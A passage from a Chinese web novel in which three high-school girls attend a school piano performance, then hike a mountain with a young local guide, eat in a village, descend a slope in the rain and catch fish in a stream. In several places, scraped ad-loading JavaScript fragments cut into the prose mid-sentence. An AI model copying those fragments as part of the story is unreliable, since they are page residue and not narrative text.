金欢喜深以为然地点点头。 “对了,付子衿下午还要表演节目?”蓝燕仪本来打算下午就开溜的。 “嗯。听说她爸妈也来。” “她爸妈?”蓝燕仪略微提高了一些音量,露出有些复杂的神情,“这样啊。她弹钢琴吗?” 金欢喜点点头,至于更具体的曲子,她也没听人说。策划人还特地把这节目藏起来当做卖点。 校园论坛人人惊呼,要看年级第一演奏钢琴曲,就来元旦汇演。 这一群群的水军,金欢喜都没眼看。 蓝燕仪没见过付子衿演奏钢琴,想了想,还是决定乖乖留下来听。 “我还以为你对演出没兴趣。”金欢喜的视线掠过一棵棵大树,落在对面打开的窗户上。 “毕竟我只爱文学!”蓝燕仪摊了摊手,转身回了教室。 …… “同学们,现在排队前往礼堂,过程中不要打闹嬉戏,注意看路。” 午休结束,各班组织着学生前往礼堂。 金欢喜还没睡醒,靠在蓝燕仪肩上昏昏欲睡。 蓝燕仪拍了拍她的脸,在她耳边叫了几声。 “醒醒醒醒,你家那位就要表演了,你不激动吗?” “什么我家。”纵然还没清醒,金欢喜下意识反驳了句。 她这么一闹,她也睡不着了,老老实实排着队,大概过了半个小时,才坐在了礼堂里。 蓝燕仪迫不及待地打开节目单,惊呼:“她要弹这个?” 金欢喜凑过去看了眼,倒数第二行写着:《Myheartwillgoon》付子衿。 她有印象,初中的时候,她在陈钟灵那补习英语,陈钟灵给她放过这首歌,是《泰坦尼克号》的主题曲。 “怎么了?这歌有问题吗?” 蓝燕仪合上手里的节目单,摇了摇头,看了她好几眼,最后,艰难地从嘴里挤出一句话。 “这是她爸妈当初结婚的时候,婚礼上放的歌。” 付子衿的父母在整个圈子里都算出名。两家都是商圈大佬,当初结婚的时候,可以说是门当户对、羡煞旁人,在他人眼里,这就是实实在在的强强联合。但蓝燕仪听姑姑说,他们感情一般。 “一个个都昏了头,为了利益轻易放弃了自己的人生。” 姑姑说的时候,她还听不懂这句话。现在,她已经隐隐明白了其中深意。 “婚礼的歌啊。”金欢喜感慨了一声,试图看一眼第二排的座位,人太多,没看清,“子衿爸爸妈妈不是要来吗?还挺浪漫的。” 这话从金欢喜口中说出来,总感觉有点反讽的意味。蓝燕仪擦了擦额头不存在的汗,有些坐不住了。 她真想把付家的事全都告诉金欢喜,可惜,上个月她刚和付子衿保证过,不会和金欢喜透露一个字。这两人别扭的,她真是看不下去了。 “干嘛?你要开溜?”金欢喜拉住她的胳膊,警告的意味很明显。 蓝燕仪勉强笑了两下,只能依着她的力道坐下。 “付子衿有和你提过她家里的事吗?”不能走了,她就多打听点八卦。 “家里的事?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 金欢喜想了想,还真想起来一件。 初中的时候,因为会才艺的人比较少,每年负责在文艺汇演出节目的人都是付子衿,次次都是钢琴曲。 有一回,付子衿的曲子还没练熟,就拉着她一起,让她监督她练习。 金欢喜坐在她背后,和她背靠着背,听着她反复地演奏,反复地自查。听着听着,她突然有些好奇,问了她一句。 “付老师,你为什么会学钢琴?” 最早的时候,金欢喜以为付子衿是喜欢钢琴,陪她练了一段时间,却觉得她只是把钢琴当做工具,不讨厌,也不喜欢。 钢琴声戛然而止,付子衿的声音通过身体的振动传来,痒痒的。 “为什么这么问?” 金欢喜搓了搓膝盖,揪了揪裤子,也不太明白该怎么说。 “不知道,就是,听起来是这样。” 她是学校里第一个听她弹钢琴的人。第一次听的时候,金欢喜坐在凳子上,被钢琴声展现的优雅、抒情折服。听久了,却觉得呆板。 公式化的学习,怎么称得上呆板?金欢喜回味片刻,改成了“麻木”。就好像付子衿已经弹奏了很久很久,她真心地喜欢过钢琴,也真心地不再喜欢了。 “我最早学的时候,是和妈妈一起学的。”付子衿的手拂过琴键,一个又一个音阶,从低沉到明亮,“那时候,我好喜欢钢琴。” 后来……她没再讲下去。轻轻略去了这一段。 “可能弹的多了,就没那么喜欢了。” 最后,她如此回答。 蓝燕仪听完,严肃地拍了拍金欢喜的肩膀。 “嗯?”金欢喜茫然地看向她。 “你真的喜欢付子衿吗?”蓝燕仪搓了搓手,又问了一次。 “你有病?在这说?”金欢喜捂住她的嘴,看了看两边,没人留意,都在看台上的小品。 “不是。是这样。你看,你现在高一,也就16、17岁,这个时候的人,从科学上讲,心理还没有成熟。你会不会只是产生了一种错觉?” “科学?建议改为根据你的观点。哪个科学讲的?”金欢喜假意掐了掐她的脖子,看向台上,“我一直很清楚。” 她没再多说。 两人就这样沉默着坐了许久,直到付子衿的节目即将开始。 “接下来,将由高一(10)班的付子衿同学为我们带来钢琴独奏《Myheartwillgoon》,大家掌声欢迎!” 金欢喜鼓了鼓掌,见蓝燕仪一动不动地坐着,揪着她的耳朵让她好好鼓掌。 蓝燕仪不得不鼓了鼓掌,小声念叨了两句:“你们两个,一定是约好的,一个揪我左耳,一个揪我右耳。” 掌声散去,帷幕拉开,钢琴声响起。 台上的付子衿穿着白色长裙,身后的屏幕上是翻涌的海浪。台下一片寂静,仅仅是远远的眺望,金欢喜都能感受到心跳的震动。 热烈……真挚……平静…… 结束时,金欢喜听见蓝燕仪的感慨。 “悲剧的意义,就是从毁灭中生出不朽吧。” 这只是一句无心的感慨,却让金欢喜莫名觉得难过。 13. 手机 从礼堂散场,班长只来得及说了句“记得带好作业回家”,就被人流冲走。金欢喜顺着人流前往教室,隐隐听见几个十班的同学在说话。 “付子衿她爸爸怎么没来?” “不知道,好像听见人说,突然有急事,来不了了。” “她家是开大公司的,真是忙啊。” “是啊,不过我觉得挺正常的,她爸妈家长会也不来。” 金欢喜知道,付子衿特意和老师申请了两个座位留给家长,只是没想到她爸爸并没有来,真是计划赶不上变化,等明天见面再好好安慰她吧。 …… “大喜,这个给你。” 一回到家,陈宝珠犹犹豫豫地走上前,递给她一个手机。金欢喜接过,一看,竟然是台全新的学习手机,虽然是不知名牌子,但看起来也不便宜。这种手机没法打游戏,但最基础的功能都在,可以打电话发消息。 “我们家中奖了?”就他们家这个刚好饱腹的条件,陈宝珠和金大富手里也就两台二手机,这新手机还给她用上了,金欢喜受宠若惊,不得不怀疑天上是不是掉馅饼了。 陈宝珠用复杂的目光看了她好几眼,感叹:“你也大了,有自己的隐私,指不定要和同学一起出去玩,这样也方便。”有了手机,也不用担心像上次在超市一样找不到人。 “嘿!”金欢喜上前抱住她妈的胳膊,惊喜道,“妈,你怎么知道我要和同学出去玩?”虽然是爬山这样质朴的运动。 陈宝珠维持着脸上的笑容,摸摸她的脑袋,顺着她的话往下接:“你的事妈妈都知道,这就是咱母女,心有灵犀。” “我明儿一大早出门,晚上辛苦妈妈给我烙几个小饼。”金欢喜狗腿子似的走到她背后,给她捶肩膀。 陈宝珠很是受用,也没多问,只叮嘱了两句:“我和你爸的手机号都存里头了,你自己设个密码,明天起得早的话,叫你爸开车送你去。” “没事没事,你和爸爸都辛苦了,我自己去就好,坐公交,挺快的。”金欢喜摆摆手,婉拒了她妈的建议。她有时候也搞不清楚家里的财政情况,看起来不富裕,又好像不穷,至少她爸还开着车,但听她爸的意思,又好像借了钱,负着债。钱真是个复杂的小东西。 “行。你记得起来就行。”陈宝珠打了个哈欠,看着她吃完了饭,叫她把碗洗了,就洗漱睡觉。 金欢喜连连点头,见她妈没影了,跟做贼似的掏出了手机。 首先,按着记忆把付子衿的手机号加上,给她发一条短信。 金欢喜:我是金欢喜。 端端正正的五个字。金欢喜满意地点点头,等了一会儿,没等到回信。洗了碗,还是没回信。洗漱完,信息界面依旧干干净净。躺上床,打开手机,一个红点都没有。 ? 熬到后头,实在是困了,金欢喜迷迷糊糊地闭上眼睛,心中升起几分悔意——我为什么不给付子衿打电话? 明天……明天要让她加上……还有蓝燕仪……呼……她睡着了。 第二天一大早,她就被陈宝珠从床上一把薅起来。 耳边是熟悉的训斥声。 “晚上是不是熬夜了,你看看这黑眼圈,不是叫你早点睡?” 金欢喜梳了梳凌乱的头发,随意扎了个不高不低的马尾辫,被陈宝珠用手用力一拍,解开发圈,重新扎了个高高的马尾辫。 “和你说了好几次,扎的高显得有精神。” 金欢喜闭着眼,点点头,表示赞同。 她这副左耳进右耳出的姿态陈宝珠看了太多次,只能无奈地拉着她去吃小饼。 “醒了没?一会儿人家都到了。” “没事。”嘴里塞着饼,金欢喜含糊地摇摇头,她昨天说早了半小时,这会儿另外两人应该也是刚起床。 “真是造孽,怎么冬天去爬山?”陈宝珠盛了杯豆浆,放在她手边,看了看她的穿着,还算保暖,也就没多念叨。 “蓝燕仪想去。”金欢喜毫不犹豫地指出罪魁祸首。 但蓝燕仪在她妈这混了眼熟,她妈她爸都去开过家长会,知道蓝燕仪考得好,当过第一,听了这话,只是感慨了一句:天才的想法都是难以捉摸的。 金欢喜悄悄翻了个白眼,希望蓝燕仪继续保持这吊儿郎当的性子,在高中翻个跟头,好好改正。不然,这很难称得上是个好榜样。 “我出发了。”她一口气喝完了豆浆,拿上背包和水,挥了挥手,跑了出去,“麻烦妈妈帮忙洗下碗,谢谢!” “早点回来!” 陈宝珠只来得及远远喊了一声。 “知道了——” 金欢喜的声音渐渐远去。 坐了公交,晃晃悠悠过了十几个站,终于到达了目的地:敬安山。 C市的敬安山并不出名,登山爱好者倒是常来。在一众C市景点里,游览敬安山称得上是费时费力,虽然爬山是免费的,却无人光顾。为了能挣点钱,索性和医院、学校签订了合作,作为疗休养的项目。 吴华森曾经报过这个项目,在课堂上提过几句。说这敬安山的山是越爬越多,一爬一个不吱声,翻过一座山,还有一座山,阶梯更是一眼望不到头。他老师爬到半山腰,心跳得厉害,只能坐在那缓了一小时,最后被几个年轻教师背下了山。 就有学生问,难道疗休养就是干爬山吗? 吴华森摇摇头。敬安山里是有人住的,分为里村和外村。外村为了景区,特意修了停车场,也是破的,只是简单用白线画了几个停车位,路走过去都是坑坑洼洼的。他们去的时候,坐的是大巴,颠簸得像在风浪里的小船似的,只能说酸爽到不想体验第二次。 那敬安山能体验到什么呢?吴华森没多详细说,只说里村里有饭吃,还行,就是贵。 有这样的印象在,金欢喜对蓝燕仪想爬这座山表示忧虑。 “蓝燕仪,你是真没爬过山!” 站在山下,金欢喜遥遥望向看不到顶的山峰,张了张口,只说出了这一句话。再多说点,这话就脏了。 耳听为虚,眼见为实。她本以为吴华森因为爬山受了罪,多多少少有点夸大其词,现在一看,他分明是藏着捏着,少说了很多。 看着敬安山,金欢喜就像回到老家一样安心。 蹲在山脚下的蓝燕仪讪讪一笑:“我也没想到这么高啊。” 现在是八点,他们进山出山,差不多得要六个小时。 “加个好友。”金欢喜麻了,掏出手机,先把正事办了。 蓝燕仪加了她,指向远处,她看过去,一辆熟悉的汽车正跌跌撞撞地开过来。 金欢喜:……该说不说,看着辛酸,细细一想,还有点好笑。 车子停在了一米远的地方,付子衿开了车门,飘忽着从后座下了车,蹲在车边就是一阵干呕。 金欢喜远远地感叹了一声:“还是大巴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 车好。” 不出所料,被她瞪了一眼。可惜,小脸惨白,毫无威慑力。 她摸摸鼻尖,从包里掏出矿泉水,递给她。 付子衿让司机先走,喝了两口水,失焦的眼睛总算恢复了点神采。 “现在出发吗?” 蓝燕仪比了个暂停的手势:“稍等,稍等,我叫了人。” 停车场附近的一户人家跑出一个扎着丸子头的女孩,蓝燕仪招手叫她过来,给她们介绍:“这是小雨,下雨的雨,她是当地的,给我们仨做导游。” 金欢喜严肃地看向小雨,语重心长地拉住她的胳膊:“这个姐姐给了你多少钱,你可不要被她骗了。” “喂!”蓝燕仪把她俩分开,为自己正名,“我开的可是一天三百!” 一天三百?金欢喜瞥了她一眼,退回到付子衿身侧。人傻钱多,绝对的人傻钱多。 大金主沾沾自喜,还在那念叨:“你们不知道,这里就属小雨带路最好,这是赚了!” 小雨挨着她站在那,她每多说一句,就低下一点头。 金欢喜没话说了,只能问:“她几岁了,你就让她帮我们带路?” “和我们一样,刚上高一。按月份算,我们几个里面她确实最小。”蓝燕仪没再多说,从包里掏出一个小红旗递给小雨,告诉她带路时要举着小红旗,小雨乖巧地点了点头。 挺像模像样,和旅游团一样。蓝燕仪这么靠谱,金欢喜还挺意外的。 付子衿靠在金欢喜身上,让她撑着点:“还想吐。”她委屈地看了她一眼,无意识地撒娇。 金欢喜搂着她,小声安抚:“哪里难受?”她一下一下地拍着她的后背,缓和她的不适感。 蓝燕仪站在对面,无声地捂住了小雨的眼睛。 这俩黏黏糊糊的,迟早要谈! 气氛一沉默,付子衿反倒有些不好意思,抱着金欢喜的胳膊,看天看地就是不看蓝燕仪。 “走吧。” 蓝燕仪示意小雨走在她旁边,她负责时时刻刻盯着后面两人跟上来没有。 走到了山脚下,小雨指了指台阶,叫她们注意安全,这里没有装护栏,脚滑的话,会摔到草丛里滑下来。 三人严阵以待,一路走走停停,也算是走过了最初的台阶。 过了几百米的台阶,就变成土路,一路蜿蜒着向上。有些地方不知道什么时候断开了,还需要跨过去。 三人保持着警惕,总算是走完了土路,到达了半山腰。 台阶又出现了,蓝燕仪走不动了,脱了外套,直接坐在了台阶上。付子衿挣扎许久,还是没把外套脱了,倔强地站着,她有一点洁癖,外套要是粘上土脏了,就不再穿了。 金欢喜坐在台阶上,拍了拍腿。 “来。” 她俩同桌近四年,有时候付子衿会把腿翘在她腿上,她早习惯了,区区坐腿,何足挂齿。 唯有没见过世面的蓝燕仪默不作声地看着这一切,暗暗咬了咬牙。 还说没谈! 金欢喜摸了摸兜,摸到了手机,想起来还没加付子衿好友。 “我以为是骗子。” 当事人心虚地坐在她腿上,真诚忏悔。 金家很穷的概念早在她脑海里根深蒂固。昨天晚上她看见短信,想都没想,直接就拉黑了。 虽然过程曲折,两人最后还是成功加上了好友。可喜可贺,可喜可贺。 14. 石坞村 休息完了,大家又继续朝山里走。 小雨招了招手,跑到前头去,说去探探路。金欢喜顺势拉住蓝燕仪,问她:“你怎么找个和我们年纪一样大的小导游?”这算不算雇佣童工? 蓝燕仪挨在她另一边,摇头晃脑:“这你就不知道了。小雨其实是我的学生。不过我可没骗你们,她已经走惯了敬安山的路,是真的熟。” “你周末去做家教?”金欢喜一手牵着付子衿,一手摁着蓝燕仪的肩膀,示意她保持距离,把关注点放在学生两个字上。 蓝燕仪撇了撇嘴,看了眼付子衿,对方靠在金欢喜肩上,得意地看着她,像只高贵的小猫咪。 “挣钱,不寒碜。” “你还缺钱?”付子衿啧了一声,反驳,“你卡里头明明有五位数。”有一次蓝燕仪在看存款,恰好被她撞见了。 金欢喜想着自己手里头的一百块,陷入了短暂的自我怀疑。 “不够。”蓝燕仪踢了一脚地上的石子,难得露出几分愁绪,“家里不给,我得自己攒钱。” “怎么回事?”付子衿想要问,却被金欢喜拉住了。 还能怎么回事?金欢喜想起来不久前蓝燕仪曾亲口说的“喜欢女生”,顿觉天昏地暗,她出柜了?想到这,她朝蓝燕仪使了个眼色,得到对方肯定的答复——点头。 “既然是家里的事,就是隐私,等她想说的时候再问吧。”金欢喜努力拦住付子衿,再深究下去,顺藤摸瓜,马上查到她头上了。 付子衿虽然困惑,却也体贴,没有再问。 家家有本难念的经,大概是家里与父母相关的一些难言的事吧。 “快来快来!”在前方探路的小雨疑惑地走回来,不明白她们怎么还在原地踏步,“前面有观景点。” 三人连忙跟上。 说是观景点,其实也就是两块巨石。 金欢喜上看下看,左看右看,勉强看出其中一块石头是一只乌龟,至于另一块,这坑坑洼洼的表面,应当是什么外星生物。 付子衿在一旁赞叹:“天然形成的石头,这头狼还蛮帅的。” 狼? 蓝燕仪拿着手机疯狂给石头拍照,附和:“确实,这乌龟也是憨态可掬。” 憨态可掬? 看着那只张着大嘴的乌龟,金欢喜只能承认自己没有文艺细胞,把舞台让给这两位大文豪,坐在一边的小石头上,看她们吟诗作对。 采风采风,原来就是天马行空。 两位学霸正在鉴赏巨石,小雨也不用探路了,她坐在金欢喜旁边,腼腆地笑了笑:“姐姐,那个姐姐好漂亮。” 她伸出手指,指向前方,金欢喜望过去,两位学霸不知何时暂停了学术交流,开始拍照,这会儿付子衿蹲在石狼旁边,言笑晏晏。 她很少这么高兴,金欢喜只是看了一眼,便轻易失了神。 “姐姐!姐姐!”小雨拉了拉她的袖子,喊了一声又一声,见她终于回了神,无奈地说了句,“你看的好认真。” 这只是一句无心之言,却让金欢喜在一瞬间被冷汗凉透了后背。 从醒悟开始,她就在思考和付子衿之间的关系。朋友和恋人的距离有多远?金欢喜见过许多表白被拒后形同陌路的人,即使关系再好,遇见也会尴尬。为了避免这一点,她一直小心翼翼,装作无意。 “狼很好看。”她很好看。 小雨歪了歪头,不太明白,她是怎么做到睁着眼睛说瞎话的,那个姐姐就站在狼旁边,她竟然还能说出狼好看! 牛头不对马嘴,两人沉默了。 直到两位大文豪的兴奋劲过了,朝她们走过来,金欢喜才在沉默中站起身,伸手拉起小雨:“走吧。” 长路漫漫,不仅是眼前的山路,还有她心里的路。 走走停停,四人终于到了山顶。 里村真名叫做石坞村,据小雨所说,石坞四面被群山环绕,险峰成林,故得此名。说是个村子,现在也就十几户人家住在里面,卖点饭菜、山鸡,挣些游客钱。 “到了山下,千万别碰地里的蔬菜水果。”小雨回头叮嘱了一句。 几年前,石坞村曾经火过一阵,游客来了一波又一波。人一多,素质就参差不齐,有人把村民种的蔬菜水果摘走了,被村民抓住,打了官司。这之后,家家地里都写着:禁止偷菜,违者罚款,每颗100元。 蓝燕仪咂舌,这才是真正的暴富之路!要是偷个葡萄,四十几颗,四千多块!金欢喜踹了她一脚,让她从美梦里醒来。 “到山下还有多久?”付子衿只关心这个。 早六晚十的高中生,天天晨跑、做操,也得栽在敬安山。 “下山肯定比上山快。”就是难走。 “不急,高处有高处的风景,你们看。”金欢喜拍拍她俩的肩。 三人看向山下。 星罗棋布的梯田,零星几座房屋,袅袅升起的炊烟……要是赶上春日,能看见风吹麦浪的景象。 可惜现在是冬日。三人同时遗憾地想到。 “下回再来?”蓝燕仪嘴比脑快,第一个问出了口。 金欢喜给了她一个“自行体会”的眼神,跟着小雨朝山下的石坞村走去。 遗憾归遗憾,要再走一遍这糟心的山路,是不可能的。 付子衿学着她的样子,也给了蓝燕仪一个眼神,跟在她身后。 剩下疑惑不解的文学少女,挠了挠头,慢了半拍,跟在最后。 下山虽然难走,却比上山快得多,一半的时间就到了平地。一条狭窄的水泥路一路歪歪扭扭地通向村落,要是挤一挤,勉强能两个人并肩前行。 金欢喜往菜田一看,果然看到罚款的牌子,歪歪扭扭的字迹,“款”字还因为写错划掉重写了。 走到尽头,小雨穿过小巷子,带她们进了一间四四方方的院子。 “赵姨,有朋友来吃饭。” 最里屋先冒出来一个满头大汗的中年男子,他咧了咧嘴,憨厚地笑了笑:“小雨,你赵姨刚出去上厕所去了,要吃啥?王叔给你炒。” 小雨半信半疑地看了他一眼,问他:“能炒啥?” “山鸡、大鹅,正是嫩的时候。”王叔勾着衣领,扇了扇风,“你这几个朋友是外地的?” “你收多少?”看他那样,小雨就知道他要狮子大开口。 王叔嘿嘿一笑,看向她身后的三个学生:“我这可是自家在山里长大的,这样,一盘蘑菇炖鸡,打个折,三百。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 三人被物价吓得目瞪口呆,金欢喜一摸兜,空空如也。 “□□,你还真有脸说出口!” 一个穿着花棉袄的女人推开门走了进来,让几人先找桌子坐下:“别听他瞎说,你们都是小雨的朋友,在这随意坐,这顿免费吃。”她又用食指点了点大叔的额头,“你可真是个黑心肝,对几个学生开这么个价!” 王叔后退一步,朝几人鞠了个躬,溜进了后厨。 赵春红走到小雨身边,看向众人:“别介意,他就这样,心是不坏的。” 在这里做生意,没有人敢开低价,他们这收费都是定好的,宰客也是必然的。 “这里收费一直这么贵吗?”付子衿不解。漫天要价,这不是自己砸自己招牌吗? 赵春红搭着小雨的肩,摇了摇头:“最早收费可以说很便宜。但是之前有段时间游客来摘田里的菜,惹怒了大家,就统一按这个价收。后来来的游客不多了,只有登山爱好者协会的人和一些散客会来。对了,还有一些组团来旅游的老师、医生。” 因果循环,是这个理。 说到这,金欢喜才发现屋子里贴满了横幅,大多都是各地登山爱好者留下的,写满“xx地登山爱好协会”“xx地驴友团”这样的字样。 “这还挺酷的。”蓝燕仪掏出本子,写写画画,不知道想到了什么。 赵春红看了几眼横幅,自豪道:“是吧,我们在这待了十几年了,见证了石坞的兴衰,人都是会走的,他们留下的东西不会。放在这里,就知道有多少人来过。” 三人感到有些遗憾,她们根本没想到这层,没带横幅。 “嗐!多大点事,你们要留个纪念,在这签个名也行。”□□从里屋端来一壶茶,顺道递过来一个本子。 赵春红笑骂了他一句,叫他去里面看着火,别让菜烧焦了。等他进去,又把本子摊在几人面前:“我说了吧,他人不坏。这是我们这的纪念册,一般都给闲散的驴友用来当做‘到此一游’的纪念,他们都爱在这上面签名。” 付子衿小心翻开,书页泛黄,黑色的字迹反而更加清晰,看得出老板保管得很用心。 四分之三的纸张已经被写满,来自不同地方的人们,不同的书写字迹,有人写下自己爬山的感悟,有人画着山间的草木。一切的一切,汇集在一本本子上,显出别样的美感。 付子衿认真在新的一页上写了名字,金欢喜想了想,写在了她下边,蓝燕仪接过,不仅写了名字,还用框把三个名字框起来,字迹潦草地在旁边写下:一中三姐妹,所求即所得。 金欢喜和付子衿看了眼,觉得丢脸,只希望没有学弟学妹前来考古。小雨倒是乐呵,在一旁给蓝燕仪拍马屁,夸老师写得好。 赵春红收起本子,笑着离开了,□□端了菜出来,叫她们多吃点。 金欢喜当真生出错觉,好像又看见大山,又看见破旧的木屋……直到付子衿往她碗里头夹了一块肉,催她快点吃,别被蓝燕仪吃光。 她笑着回过神,拿起筷子。 过去很好,未来亦然。 希望真如蓝燕仪所写,所求即所得。 她未曾想过,蓝燕仪一时玩笑写下的祝语,竟真有几分得以应验,很快成为现实。 15. 彩虹 在石坞村吃了饭,三人按正常物价付了钱,被赵春红强硬地塞了几个梨子,最后依依不舍地告别。 先前几人在院子里说说笑笑,花了不少时间,时间已经来到下午一点,小雨替有些疲惫的蓝燕仪背了包,告诉三人,得快点下山。 “过一阵,恐怕要下雨。”她在小路上伸出手,感受了下凉风,有些担忧。要是下了雨,下山的路不好走。 蓝燕仪看了眼天空,深处山峰环绕的盆地,她只看见湛蓝的天空。 “会下雨?”乌云的影子都没看见。 金欢喜倒是信了。小时候,她妈把手探出窗子,就知道会不会下雨,那段时间她每天给陈宝珠端水泡脚,就为了学这神奇的法术。最后陈宝珠遗憾地告诉她,这是经验,只能靠实践,就算会了,也不是每次都能说准。 “快走吧。”金欢喜催促,她们四个人出来半天,疲惫不堪,要是困在这就麻烦了。 于是小雨带她们去走另一条下山的路。 “不能从来的路回去吗?” “有的路上山时好走,下山就危险了。”小雨摇摇头,进村的路有几处台阶特别滑,要是一脚踩空,就会跌进山崖,山底都是大树和草丛,有蛇栖息,人死了,尸体也难找。 “路上不会有蛇吧?”付子衿差点跳到金欢喜背上,缩在金欢喜身边,警惕地看着四周,要说她最怕什么,那必然就是蛇了。 “一般情况下,是不会出来的。”小雨严谨地说道。 石坞村有习俗,认为蛇是有灵性的,长辈死去,可能化作山间生灵,最常见的就是蛇,因此除了家养的鸡鸭鹅等牲畜,真遇上山里的蛇,也不会杀害它。 “那山里蛇应该不少。”金欢喜在付子衿耳边淡淡道。 付子衿伸手捏了捏她的脸,白了她一眼。 小雨沿着土路向下,给她们讲了个故事。 十几年前,小雨在医院降生,满月后被父母带回石坞村。那时候他们家里有两层楼,有一日,小雨的妈妈要去楼下打扫卫生,就把睡在襁褓里的她放置在了床中央。等她妈妈打扫完卫生回来,却看见小雨被一条粗壮的白色长蛇包裹在中央。 小雨比划了一下,大概有两手食指与拇指相交的圆那么大,和吃饭的碗差不多。 “这也太危险了。”蓝燕仪知道,有些蛇狩猎时会用自己的身体缠绕猎物,一圈又一圈,直到猎物承受不住巨大的压强,身体失去了血流的供氧,就此死去。听描述,这蛇像是要吃了小雨。 “我妈当时也很害怕。”即使有习俗在,人还是本能地害怕危险生物。小雨妈妈当机立断,下楼找小雨爸爸一起上楼救孩子。纵然害怕,对孩子的爱还是战胜了恐惧。 “然后呢?”付子衿被金欢喜牵着,胆子大了几分。 “然后……我爸妈一上楼,发现大蛇已经离开了。”小雨仓促地为这个故事画上了句号。 “就这样?”文学少女正在兴头上,显然对故事不是很满意。 小雨无法,只能又补充了一些细节,满足这三个听得津津有味的人。 “事后我妈复盘,早在她怀孕的时候,就梦到过一条蛇,她想那大概就是我。至于那条大蛇,从那一天以后,再也没有出现过。那天恰好是我外婆的忌日,妈妈说,可能是她来看我了。环绕着我,也只是为了抱抱我。” “感人。”蓝燕仪抹了抹眼角的泪花。 小雨哭笑不得,忙拦住她:“燕仪姐姐,听归听,真碰到蛇还是小心为好,这也是我妈说给我听的故事,你真要细究,也不知道美化了多少。” “烦人。”蓝燕仪瞪了她一眼,又在她的灵感本子上写写画画。 故事讲完了,几人重新上了山顶,下山的路也走了一半,天却暗了些,濛濛细雨飘落下来,小雨停下了脚步。 金欢喜向下一望,前头没有路,要想下去,得沿着土坡走,地势陡峭,只有几根粗壮的竹子,和被他人留下的凌乱脚印。 前方的路可能是在不久前封死的,已经走到这,还下着雨,回头也不安全,要尽快下山只能走土坡,小雨当即决定,她走在前面,抓着竹子,后面的人牵着她的手,一点一点挪下来。 “万事小心,别害怕。”小雨沿着土坡,微微后仰,控制着重心,滑到竹子旁,踩住了竹根,朝蓝燕仪伸出手,“老师,你先下来吧。” 她开口叫了老师,蓝燕仪也知道形势严峻,看了眼金欢喜和付子衿。 金欢喜牵着付子衿,冷静道:“等会我殿后,趁着雨小,先走。” 过了土坡就是平路,安全得多。这土坡得有四五米高,纵然危险,也快,竟然导游做了决定说要下去,游客就要信任导游。更何况,雨下的时间不长,再久一点,土软了,更难走。 蓝燕仪蹲下,斜着脚,缓缓下移,抓住了小雨的手腕。小雨如同一棵沉默的大树,屹立不动。 付子衿担忧地看了眼金欢喜,没有推脱,很快也下去汇合。 竹子轻轻一晃,有些承受不住。小雨额间落了雨水,让蓝燕仪抓紧竹竿,先行一步,踩到了下一根竹子上。蓝燕仪紧随其后,金欢喜依葫芦画瓢,成功抓住付子衿的手腕,踩到了竹子上。 就这样一个接一个,快要落地的时候,许是因为雨打湿了土壤和岩石,付子衿脚下一滑,差点摔下去,被金欢喜一把抓住。 金欢喜轻轻喘了口气,心脏剧烈地跳动着,强摁下心慌,安慰了一句:“小心点。” 惊魂未定的付子衿来不及思索更多,沿着路向下,被蓝燕仪接住。 短短几步路,顶多半分钟的事,她们花了三分钟,好比徒步走钢丝,累得不行。 万幸,下了土坡,之后的路都不算什么。 没走多久,雨渐渐消失了,金欢喜仰头,眯着眼看了一眼天空,才发现阳光透过了云层,原来这是一场太阳雨。 “看,彩虹。”看了眼已经在拍照的蓝燕仪,她拉了拉身边正在发呆的付子衿。 付子衿看了她很久,把头靠在她背上。 “谢谢。” 她现在才真正回过神。 金欢喜“嗯”了一声,没动,又重复了一句。 “有彩虹。” 付子衿把头靠在她肩上,望向横跨山林的彩虹。 “很美。” “嗯。”金欢喜侧头看她,低声附和。 “别腻歪了,下山去!”已经走得很远的蓝燕仪喊了一声,挥了挥手,“下面有小溪,去捞鱼啊!” 金欢喜抬腿要走,付子衿伸手拉住她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我们永远是好朋友吗?” 这个问题来得突然,金欢喜以为她还在害怕,回牵住她的手,坚定道:“永远。” 因为年少赤诚,才能轻易许出这样的承诺。 付子衿没有再问,两人牵着手,慢慢追上了前头的蓝燕仪和小雨。 半小时后,终于下了山。 站在踏踏实实的水泥地上,蓝燕仪兴奋得不行,绕着她俩转圈圈。 “别靠在一起了,我们去抓鱼。小雨说了,可以下水!抓鱼!” 一不留神,金欢喜就被她拉走了。站在原地的付子衿双手抱臂,心中闪过无数道学科题目。 等蓝燕仪回到10班,看她不问得她一个头两个大。 “真有鱼!” 赤脚踩在水里的蓝燕仪举起手,金欢喜定睛一看,一条小鱼在她手心里蹦跶。 是鱼,看上去不到5cm,可怜年纪轻轻,就落入蓝燕仪的魔爪。小雨依旧给力,跟在蓝燕仪身边夸她,像个勤劳的小蜜蜂。 真是个好学生啊。金欢喜感慨。 付子衿也不嫌脏了,坐在一旁的石头上,问她:“你不去抓?” 金欢喜有些犹豫,她从小在河里抓鱼,要是抓上来个大的,岂不是显得蓝燕仪很没面子? 付子衿从她的脸上读懂了她的想法,撑着下巴,笑道:“她会在乎这个吗?” 蓝燕仪是天生的乐天派,就算抓鱼输给了金欢喜,在学习上还不是一骑绝尘? 金欢喜吐了吐舌,撸起袖子,脱了鞋和袜子,踩进水里。 透心凉。 山间泉水本就偏凉,又是1月,其中酸爽,难以表达。 金欢喜冻得呲牙咧嘴,看见付子衿在岸上偷笑,才察觉她本来就是想看热闹。 坏心眼的女人。 在心里嘀咕了一句,她还是老老实实盯着小溪,看有没有鱼。 屏息……屏息……“哗啦”一声,在三人震惊的目光下,金欢喜快准狠地把手伸进溪水中,举起一条10多cm的大鱼。 小雨凑过来一看,惊呼:“啊,是石斑。”1月份的小溪里能徒手抓到这个,也是一种幸运。见了这个,她再夸蓝燕仪,都是昧着良心。 石斑学名光唇鱼,花纹呈黑色环状,此刻正在金欢喜手里努力挣扎。 金欢喜手一松,弯腰将它放回了水里。 她匆匆上岸,把脚晃干,打了个喷嚏。 蓝燕仪捶胸顿足,又在溪水里待了十几分钟,依旧精神得不行。 “要好好锻炼身体。”付子衿看了眼蓝燕仪,最后看向她。 